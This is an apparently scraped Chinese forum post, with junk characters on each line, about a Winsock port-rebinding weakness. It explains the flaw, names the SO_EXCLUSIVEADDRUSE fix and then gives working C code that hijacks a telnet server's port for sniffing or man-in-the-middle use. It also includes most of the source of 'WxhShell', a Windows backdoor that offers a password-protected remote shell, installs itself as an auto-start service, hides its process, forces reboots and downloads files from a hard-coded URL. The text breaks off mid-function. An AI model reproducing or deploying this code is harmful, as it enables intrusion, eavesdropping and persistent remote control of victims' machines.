在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
VM$n|[C~ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
6ld4'oM HPphTu}` saddr.sin_family = AF_INET;
|^Iox0A O=jLZ2os saddr.sin_addr.s_addr = htonl(INADDR_ANY);
1Dr&BXvf]8 7( 84j5zb bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
<{#_;7h" 6=f)3!= 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
/"X_{3dq? =mYf]
PIX 这意味着什么?意味着可以进行如下的攻击:
FI^Wh7J AlQhKL}|s 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
%Y&48''" M/ 64`lcb 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
j!4{+&Laq X /c8XLe" 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
c5^HGIe1 $9G&
wH>{ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
PMAz[w,R~ s[8. l35| 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Y:DopKRD JvO1tA]ij 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
:SaZhY ):K% 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
!FgZI4?/Y= ]o'o
v #include
&GLDoLk6[ #include
MG=E
6: #include
w'TAM"D` #include
%M96m DWORD WINAPI ClientThread(LPVOID lpParam);
-m^-p int main()
) ^En {
rD}g9?ut WORD wVersionRequested;
T
6D+@i DWORD ret;
boojq{cvYA WSADATA wsaData;
3H,x4L5j BOOL val;
`Abd=1nH SOCKADDR_IN saddr;
LGhK)]: SOCKADDR_IN scaddr;
x'L=p01 int err;
5len}){ SOCKET s;
)^(gwE SOCKET sc;
/5sn*, int caddsize;
{8.Zb NEJ
HANDLE mt;
>J;TtNE: DWORD tid;
z@`o(gh wVersionRequested = MAKEWORD( 2, 2 );
We y*\@ err = WSAStartup( wVersionRequested, &wsaData );
{dF@Vg_n if ( err != 0 ) {
,NGHv?.N printf("error!WSAStartup failed!\n");
#zP-,2!r return -1;
@V
' HX }
$+80V{J# saddr.sin_family = AF_INET;
7{<v$g$ 0)|Z7c& //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
H8YwMhE7 DZqG7p$u4i saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Sn[xI9}O saddr.sin_port = htons(23);
5M=U*BI if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
DQ8/]Z{H {
0h1u W26^ printf("error!socket failed!\n");
Y*BmBRN return -1;
Jh.~]\u }
k@7#8(3 val = TRUE;
w>B}w //SO_REUSEADDR选项就是可以实现端口重绑定的
2q[pOT'k if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
E7O3$B8 {
fnX[R2KZ printf("error!setsockopt failed!\n");
fd4gB6> return -1;
B :%Vq2` }
43k'96[2d //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
SA'g` //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
ug,AvHEnB //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
f(y+1 [0Xuo if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
GFT@Pqq {
_S) K+C|@ ret=GetLastError();
frcX'M}% printf("error!bind failed!\n");
K3mP 6Z#2 return -1;
! \s}A7 }
FF#Aq listen(s,2);
IFBt#]l0 while(1)
(wL$h5SG {
u0#KBXRo caddsize = sizeof(scaddr);
(K[e=0Rf //接受连接请求
e\X[\ve sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
u43Mo\"<&% if(sc!=INVALID_SOCKET)
Ct'tUF<K5 {
n>)aw4 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
&vmk!wAs if(mt==NULL)
:? )!yI {
Un8' P8C printf("Thread Creat Failed!\n");
(EcP'F*;;y break;
pT=^o }
[.>=>KJ_ }
79 4UY CloseHandle(mt);
N&G'i.w/ }
X QLP|v;" closesocket(s);
U LS>v WSACleanup();
B!mHO*g return 0;
3PkZXeH/ }
fYuSfB+< DWORD WINAPI ClientThread(LPVOID lpParam)
8Ze>
hEG {
c(1tOQk. SOCKET ss = (SOCKET)lpParam;
7KiraKb| SOCKET sc;
N/F_,>E unsigned char buf[4096];
_
uOi:Ti SOCKADDR_IN saddr;
N?m)u,6-l long num;
9X*Z\- DWORD val;
kL zjK]4 * DWORD ret;
<%.%q //如果是隐藏端口应用的话,可以在此处加一些判断
KGDN)@D //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
(LsVd2AbR saddr.sin_family = AF_INET;
d_(>:|oh saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
z$1|D{ saddr.sin_port = htons(23);
Vl+UC1M}B> if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
P]m{\K {
D 6'd&U{_ printf("error!socket failed!\n");
Vsi:O7|+
} return -1;
u)h
{"pP }
@MibKj>o val = 100;
_v#puFy if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
egs P\ ' {
&PXT$x[i ret = GetLastError();
{*bx8*y1 return -1;
T[OI/WuK }
-Y+pLvG* if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
g<;pyvq|: {
0fstEExw ret = GetLastError();
lO\HchGzB return -1;
WCd:(8B }
F~=kMQO if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
D)G oWt {
\\EX'L printf("error!socket connect failed!\n");
9Avj\G closesocket(sc);
Z5'^Hj1, closesocket(ss);
a4uy}@9z return -1;
:V6
[_VaF }
LS*L XC while(1)
zq+2@"q {
nN$.^!;& //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
}s?3 //如果是嗅探内容的话,可以再此处进行内容分析和记录
@ *Jbp //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
o,j_eheAM num = recv(ss,buf,4096,0);
4w|t|? if(num>0)
2wO8;wiA send(sc,buf,num,0);
Wj3i*x$
else if(num==0)
[[_>DM break;
Z[[*:9rY| num = recv(sc,buf,4096,0);
'9]?jkl if(num>0)
DCa[?|Y send(ss,buf,num,0);
VS4Glx73 else if(num==0)
n]vCvmt break;
[3=Y 9P: }
#:=c)[G8 closesocket(ss);
IJ+} closesocket(sc);
9Znc|< return 0 ;
b`%u}^B { }
<- sr& Zl%)#=kO h7ZH/g$) ==========================================================
kReZch} 1d!s8um; 下边附上一个代码,,WXhSHELL
FLJ&ZU=s ~c&sr5E ==========================================================
|5>A^a O*+HK1q7 #include "stdafx.h"
/)v+|%U
vC]r1q.( #include <stdio.h>
msw'n #include <string.h>
LV9R ] #include <windows.h>
>l-u{([B #include <winsock2.h>
IA}vN3 #include <winsvc.h>
yLqhj7 #include <urlmon.h>
6VQQI9 yU(}1ZID #pragma comment (lib, "Ws2_32.lib")
N
(\n$bpTt #pragma comment (lib, "urlmon.lib")
5 jK| (eb65F@ P #define MAX_USER 100 // 最大客户端连接数
z( ^?xv #define BUF_SOCK 200 // sock buffer
3Yx'/ =] #define KEY_BUFF 255 // 输入 buffer
8T.bT6 m%eCTpYo #define REBOOT 0 // 重启
=ZoNkj/^, #define SHUTDOWN 1 // 关机
D$KP>G | J'k9W" #define DEF_PORT 5000 // 监听端口
(Of`VT3ZOA 8S#&XS>o #define REG_LEN 16 // 注册表键长度
P$Yw'3v/ #define SVC_LEN 80 // NT服务名长度
V4u4{wU] rVhfj~Ts // 从dll定义API
(e_p8[x typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
VxOWv8}| typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
gs0jwI typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
1Cc91 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
/xSJljexz {B#w9>'b // wxhshell配置信息
=MJRQV67 struct WSCFG {
k5%) int ws_port; // 监听端口
S_*Gv O char ws_passstr[REG_LEN]; // 口令
rpEIDhHv int ws_autoins; // 安装标记, 1=yes 0=no
2T%sHp~qt char ws_regname[REG_LEN]; // 注册表键名
e6J>qwD? char ws_svcname[REG_LEN]; // 服务名
kDJqT char ws_svcdisp[SVC_LEN]; // 服务显示名
|61ns6i! char ws_svcdesc[SVC_LEN]; // 服务描述信息
4TQmEM, char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Dg~m}La int ws_downexe; // 下载执行标记, 1=yes 0=no
Q<szH1- char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
,d!@5d&Zi char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Qhe<(<^J, IuFr:3( };
TUGD!b{ 82)=#ye_P // default Wxhshell configuration
X ?ZLmP7| struct WSCFG wscfg={DEF_PORT,
US's`Ehx "xuhuanlingzhe",
B(FM~TVZ 1,
_lT'nFe=Q "Wxhshell",
X%99@ qv "Wxhshell",
v}5YUM0H ` "WxhShell Service",
m' j1 "Wrsky Windows CmdShell Service",
g"!cO^GkT "Please Input Your Password: ",
}/tf^@ 1,
2>.b~q@ "
http://www.wrsky.com/wxhshell.exe",
mo
tW7|p.e "Wxhshell.exe"
ZLVgK@l };
"7fEL:|j sm?b,T/ // 消息定义模块
M4;M.zxJv char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
F;/^5T3wI char *msg_ws_prompt="\n\r? for help\n\r#>";
fGH)Fgo` char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
#u"@q< ) char *msg_ws_ext="\n\rExit.";
FP y}Wc*UA char *msg_ws_end="\n\rQuit.";
6]GHCyo char *msg_ws_boot="\n\rReboot...";
st.{AEv@ char *msg_ws_poff="\n\rShutdown...";
r.u\qPT& char *msg_ws_down="\n\rSave to ";
2u0B=0x ETX>wZ char *msg_ws_err="\n\rErr!";
AL&<SxuP char *msg_ws_ok="\n\rOK!";
eC 2~&:$L sAjUX.c char ExeFile[MAX_PATH];
lpB:lRM int nUser = 0;
GaJE(N HANDLE handles[MAX_USER];
VqD_FS;E int OsIsNt;
f]sR4mhO iz [IK%K SERVICE_STATUS serviceStatus;
|"b|Q SERVICE_STATUS_HANDLE hServiceStatusHandle;
M/xm6 WcXNc`x // 函数声明
,\\=f#c= int Install(void);
<)_#6)z: int Uninstall(void);
%PPy0RZ^
int DownloadFile(char *sURL, SOCKET wsh);
ncVt(!c,e int Boot(int flag);
,'<NyA>< void HideProc(void);
U0|bKU int GetOsVer(void);
,T^A?t int Wxhshell(SOCKET wsl);
DqI "B void TalkWithClient(void *cs);
"9X(.v0ze int CmdShell(SOCKET sock);
Jv%)UR.] int StartFromService(void);
qv2J0'd'. int StartWxhshell(LPSTR lpCmdLine);
VWYNq^<AT e<8KZ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
W?N+7_%' VOID WINAPI NTServiceHandler( DWORD fdwControl );
_TJkYz$ Z,-TMtM7 // 数据结构和表定义
VgY6M_V SERVICE_TABLE_ENTRY DispatchTable[] =
q)@;8Z=_c {
c/F!cW{z^ {wscfg.ws_svcname, NTServiceMain},
-J'ked {NULL, NULL}
|Ul 4n@+2 };
8t7r^[T &liFUP?
// 自我安装
1Qjc*+JzO. int Install(void)
K0@bh/i/^ {
:YLYCVi| char svExeFile[MAX_PATH];
wpNb/U HKEY key;
F7=\*U strcpy(svExeFile,ExeFile);
z)eNM}cF %3=T7j // 如果是win9x系统,修改注册表设为自启动
u^2/:L if(!OsIsNt) {
:.{d,)G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
@.dM1DN) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
}lq$Fi/ RegCloseKey(key);
WhFE{-!gX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
OzH\YN RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
PVN`k, 4 RegCloseKey(key);
tp ky return 0;
ljg6uz1v% }
KZ=5"a }
V.+a}J=Cw }
Fy>g*3 else {
E3x<o<v :a=]<_*x // 如果是NT以上系统,安装为系统服务
Ir-
1@_1Q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
sP9{tk2K if (schSCManager!=0)
. 7Pp'-hK {
DU5rB\!.~ SC_HANDLE schService = CreateService
Y{t}sO%A (
_? $')P| schSCManager,
z,!A4ws wscfg.ws_svcname,
G!D~*B9G wscfg.ws_svcdisp,
]r#NjP SERVICE_ALL_ACCESS,
96gaun J SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
xo-{N[r SERVICE_AUTO_START,
]N1,"W} SERVICE_ERROR_NORMAL,
hbx+*KM svExeFile,
,oEAWNbgQ NULL,
b$*G&d5 NULL,
K)\D,5X^ NULL,
d(5j#? NULL,
p-z!i +
NULL
(f*r );
Vrp]YRL` if (schService!=0)
D [v22 5 {
mndEB!b CloseServiceHandle(schService);
x;4m@)Mu CloseServiceHandle(schSCManager);
g ZES}]N strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
xKT;1(Mk strcat(svExeFile,wscfg.ws_svcname);
ILHn~d IC if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
g,RhUt9 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
;>]dwsA*P RegCloseKey(key);
Z]OX6G return 0;
0h('@Hb.K# }
4i29nq^n }
,M\/[_: CloseServiceHandle(schSCManager);
LG?b]'# }
bvJ*REPL? }
+xr;X 9 1aUu:#c return 1;
#yCnM]cEn }
j{m{hVa PhmtCp0-7- // 自我卸载
m
.En!~t int Uninstall(void)
tU8aPiUl {
e.|t12)L " HKEY key;
:yOJL [x pQm-Hr78j if(!OsIsNt) {
v1NFz>Hx if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
,` $2 RegDeleteValue(key,wscfg.ws_regname);
(<|1/^~= RegCloseKey(key);
q}&+{dN\1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Y~OyoNu2 RegDeleteValue(key,wscfg.ws_regname);
L[:M[,?=` RegCloseKey(key);
.4=A:9 return 0;
d%1Vby }
`_{,4oi }
ggHl{cl) }
!U1V('
else {
J =#9eW ^$8WV&5q> SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
tkHUX!Ow; if (schSCManager!=0)
52*KRq
o {
r"lh\C| SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
&{x`K4N if (schService!=0)
u3PM 7z!~ {
(j}edRUnB if(DeleteService(schService)!=0) {
Ak\"C4s CloseServiceHandle(schService);
^P*+0?aFr CloseServiceHandle(schSCManager);
<yKyM#4X return 0;
;FjI!V }
{5T:7*J CloseServiceHandle(schService);
w6l56CB` }
vXR27 CloseServiceHandle(schSCManager);
DEenvS`,P }
>LFj@YW_) }
Nw3IDy~T k%LsjN.S return 1;
:-b-)*TC; }
7"{CBbT @])}+4D(S // 从指定url下载文件
\@j3/!=,n% int DownloadFile(char *sURL, SOCKET wsh)
&$pA,Gjin\ {
i]zTY\gw8M HRESULT hr;
Dr#V^"Dte char seps[]= "/";
< 'r<MA< char *token;
X*M-- *0q' char *file;
j1dz'G}hj char myURL[MAX_PATH];
yL3F char myFILE[MAX_PATH];
oeG?2!Zh p,2H8I){ strcpy(myURL,sURL);
9/5EyV token=strtok(myURL,seps);
tkhEjTZ while(token!=NULL)
-k3WY&9, {
(/J %Huy file=token;
9OM&&Ue<E token=strtok(NULL,seps);
X^.~f+d~ }
V} t8H J2$=H1- GetCurrentDirectory(MAX_PATH,myFILE);
Ns[.guWu- strcat(myFILE, "\\");
%VgK::)r strcat(myFILE, file);
d#HN'(2t send(wsh,myFILE,strlen(myFILE),0);
JU-eoB}m send(wsh,"...",3,0);
8t&'Yk hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
+
oNrc. if(hr==S_OK)
A:,V) return 0;
o){<PN|z else
_dn*H-5hO return 1;
boIFN;Aq" q%Lw#f }
M_F4I$V4 DOWZhD // 系统电源模块
Z
,98 int Boot(int flag)
C3 (PI,, {
BlfW~l'mx HANDLE hToken;
c *Pt;m TOKEN_PRIVILEGES tkp;
5ZHO+@HiFH q62U+o9G if(OsIsNt) {
d>1#| OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
; HjT LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
o%73M!- tkp.PrivilegeCount = 1;
&d[% tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
/d1V&Lj AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Zq\ p%AU9 if(flag==REBOOT) {
-<gQ>`(0 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
FGRG?d4?h return 0;
.h;X5q1 }
vjXCArS else {
0,[-4m if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Kl+4A}Uo return 0;
5lakP? }
DBzF\- }
;JR_z'< else {
SrSm%Dv if(flag==REBOOT) {
'3ZYoA% if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
~Uaz;<"j0 return 0;
ZfIeq<8_ }
<=!|U0YV
else {
7#iT33(3 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
4 {3<
` return 0;
.2STBh.; }
3 p9LVa }
G X>T~i\f8 q
e;O Ox return 1;
Jl^THoEL }
}WG -R E 5bo60z // win9x进程隐藏模块
p4{3H+y void HideProc(void)
|m>n4-5QL {
;Ajy54}7 I~I$/j]e` HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
<\S
j5 if ( hKernel != NULL )
lIF*$#`oh* {
b'~IFNt*^ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
.TWX,# ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
wa4(tM2 FreeLibrary(hKernel);
f Tc,"{ }
#pw=HHq*( N?;5%pG
< return;
#2*2xt }
Lg4I6 G y[@<goT // 获取操作系统版本
)|zna{g\ int GetOsVer(void)
r=ds'n" {
ZIrJ"*QO= OSVERSIONINFO winfo;
spt='!)4 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
ePJtdKN: GetVersionEx(&winfo);
,0Y5O?pu\ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
]w=6.LzO* return 1;
S4Vv _k-&
else
Q35/Sp[;x return 0;
5=.EngG }
nu#_,x<LS :Gz# 4k // 客户端句柄模块
gZr/Dfy int Wxhshell(SOCKET wsl)
#dgWXO {
KGm"-W SOCKET wsh;
Uwqm?] struct sockaddr_in client;
$yx34= DWORD myID;
xBC:%kG~# Ilc FW while(nUser<MAX_USER)
rn?:utP {
}[<eg>9# int nSize=sizeof(client);
:K6(`J3Y"^ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
o=
%Fh if(wsh==INVALID_SOCKET) return 1;
uvrfR?%QK 1=t\|Th- handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
zoV-@<Eh if(handles[nUser]==0)
L.xzI-I@D closesocket(wsh);
SAEr $F^ else
&n:F])`2 nUser++;
SdfrLdi}Y }
]{[VTjC7rY WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Z<#beT6 =R^V[zTn_ return 0;
?_F,HhQ }
0F<O \ w^&TG3m1~ // 关闭 socket
4{\h53j$ void CloseIt(SOCKET wsh)
z.[ Ok {
m
dC.M$ closesocket(wsh);
{Z_Pry$6 nUser--;
I/s?]v ExitThread(0);
/.\$%bua }
66%#$WH#
F%6`D // 客户端请求句柄
imtW[ y+4 void TalkWithClient(void *cs)
|^ml|cb {
zSYWNmj& iD|"} }01 SOCKET wsh=(SOCKET)cs;
/y,~? char pwd[SVC_LEN];
g'`J'6Pn char cmd[KEY_BUFF];
)]%GNdU char chr[1];
k:w\4Oqd int i,j;
`
m`Sl[6 By@<N [I@ while (nUser < MAX_USER) {
BcT|TX+ct zy#E qv if(wscfg.ws_passstr) {
id.o)= if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
m)q;eQs //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
sDCa&"6+@ //ZeroMemory(pwd,KEY_BUFF);
3Lq?Y7#KQp i=0;
48n>[
FMSR while(i<SVC_LEN) {
N2}].} }tU<RvT // 设置超时
'MM#nQ\( fd_set FdRead;
~R) Km`t struct timeval TimeOut;
-{ZTp8P> FD_ZERO(&FdRead);
E<a~
`e FD_SET(wsh,&FdRead);
=? x A*_^ TimeOut.tv_sec=8;
Ckvm3r\i2 TimeOut.tv_usec=0;
F5J=+Q%8[& int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
=5LtEgHU if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
/wCee G,< b9OT~i=S| if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
$+ZO{
( pwd
=chr[0]; 0ldde&!p
if(chr[0]==0xd || chr[0]==0xa) { FQ?H%UcW
pwd=0; [(`T*c.#.X
break; 5\f*xY
} P,~a'_w:|D
i++; ~/\;7E{8!
} m5zP|s1`['
788q<7E
// 如果是非法用户,关闭 socket _hMVv&$
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \J-O b
} ` /]8C&u
=X>3C"]
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +&a2aEXF
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ygUvO3Z
0'|#Hi7@
while(1) { 3T Q#3h
,vW.vq<{q3
ZeroMemory(cmd,KEY_BUFF); *D,+v!wG9
'4FS.0*_
// 自动支持客户端 telnet标准 PQvq$|q
j=0; Roy`HU
;0a
while(j<KEY_BUFF) { rQ*'2Zf'<
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ui7 0|
cmd[j]=chr[0]; nUhD41GJ
if(chr[0]==0xa || chr[0]==0xd) { -j]r\EVKS
cmd[j]=0; >H5BY9]I
break; v>)[NAY9
} n4k.tq
j++; b3EW"^Ar
} xv7^
YIfPE{,
// 下载文件 CHWyy
if(strstr(cmd,"http://")) { G+b $WQn2t
send(wsh,msg_ws_down,strlen(msg_ws_down),0); @'R4zJ&+S
if(DownloadFile(cmd,wsh)) Y: KB"H
send(wsh,msg_ws_err,strlen(msg_ws_err),0); jfqWcX.X=
else XT~JP
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;b
cy(Fp,\
} XOgX0cRC4
else { ?_W "=WpC
)R9>;CuC9?
switch(cmd[0]) { Q-O:L
dm.?-u;C
// 帮助 Ej 'a
G
case '?': { ]v94U b
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ID'@}69.S
break; !&E>8h
} cKF02?)TX
// 安装 lUCdnp;w'
case 'i': { %~^R Iwm
if(Install()) k%NY,(:(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -hp,O?PM
else 8,dCx}X
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0NpxqeIDY
break; )/bt/,M&}
} og.dYs7W4
// 卸载 Zf]d'oW{/
case 'r': { TDtk'=;
if(Uninstall()) z ;y22
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >0@X^o
else "H%TOk7l
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CL9p/PJ%e
break; evg i\"
} z~o%U&DO}
// 显示 wxhshell 所在路径 _=q)lt-UY
case 'p': { }#EiL
!Pv
char svExeFile[MAX_PATH]; c4L5"_#`x-
strcpy(svExeFile,"\n\r"); X"iy.@7
strcat(svExeFile,ExeFile); X-oou'4<
send(wsh,svExeFile,strlen(svExeFile),0); 3{d1Jk/S
break; #1u4Hi(x5
} ,!%[CpM3
// 重启 $3Wl~
G}
case 'b': { a/L?R
Uu
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?@_3B]Fs
if(Boot(REBOOT)) 39"8Nq|e
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \+Qx}bS{
else { j*W]^uT,
closesocket(wsh); 5>}L3r>a;
ExitThread(0); {x2N~1!E
} [_-CO}>
break; vj?9X5A_
} HEjV7g0E
// 关机 D\j1`
case 'd': { -U%wLkf|
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ttZ!P:H2
if(Boot(SHUTDOWN)) DJrA@hm/Y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); YdE$G>&em
else { `n5)oU2q
closesocket(wsh); !y4o^Su[
ExitThread(0); -fG;`N5U
} U&`M G1uHe
break; lg1?g)lv
} F5+f?B~?R?
// 获取shell @xO<~
case 's': { uiDR}
CmdShell(wsh); 47
m:z5;
closesocket(wsh); Dyt}"r\
ExitThread(0); D}\%
Q #
break; 5^f>L2
} #{ `(;83
// 退出 Nv #vfh9}P
case 'x': { EVRg/{X
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kCN9`9XI{
CloseIt(wsh); \!G&:<h
break; =$b^X?x
} Sfh \4h$H
// 离开 SC86+
case 'q': { NbG3^(
send(wsh,msg_ws_end,strlen(msg_ws_end),0); V/762&2X
closesocket(wsh); \'E%ue_<9
WSACleanup(); /0"Y.
@L
exit(1); /o8h1L=
break; 7c+TS--
} ";s?#c
}
<K4'|HU/
} HRPTP+
+s1mm c
// 提示信息 Z$HYXm
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w(.k6:e
} c5]^jUB6
} OU0\xx1/
fTV:QAa;
return; bnUd !/;
} =3/||b4c
*PZN Z{|m
// shell模块句柄 ^U:pv0Qz
int CmdShell(SOCKET sock) _~5{l_v|I
{ 1(rH5z'F
STARTUPINFO si; oh#6>|
ZeroMemory(&si,sizeof(si)); gZ/M0px
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /lAt&0
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; r+v*(Tu
PROCESS_INFORMATION ProcessInfo; .xCO_7Rd
char cmdline[]="cmd"; I&R4.;LW
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ha3 Qx
return 0; kF6X?mqgD
} X`^9a5<"
XP6R$0yN
// 自身启动模式 ]}KmT"vA
int StartFromService(void) l_+s$c
{ ddlLS
typedef struct eNN% %Q
{ ,Iwri\
DWORD ExitStatus; Tv~<W4
DWORD PebBaseAddress; A[=)Zw
"
DWORD AffinityMask; S37Bl5W
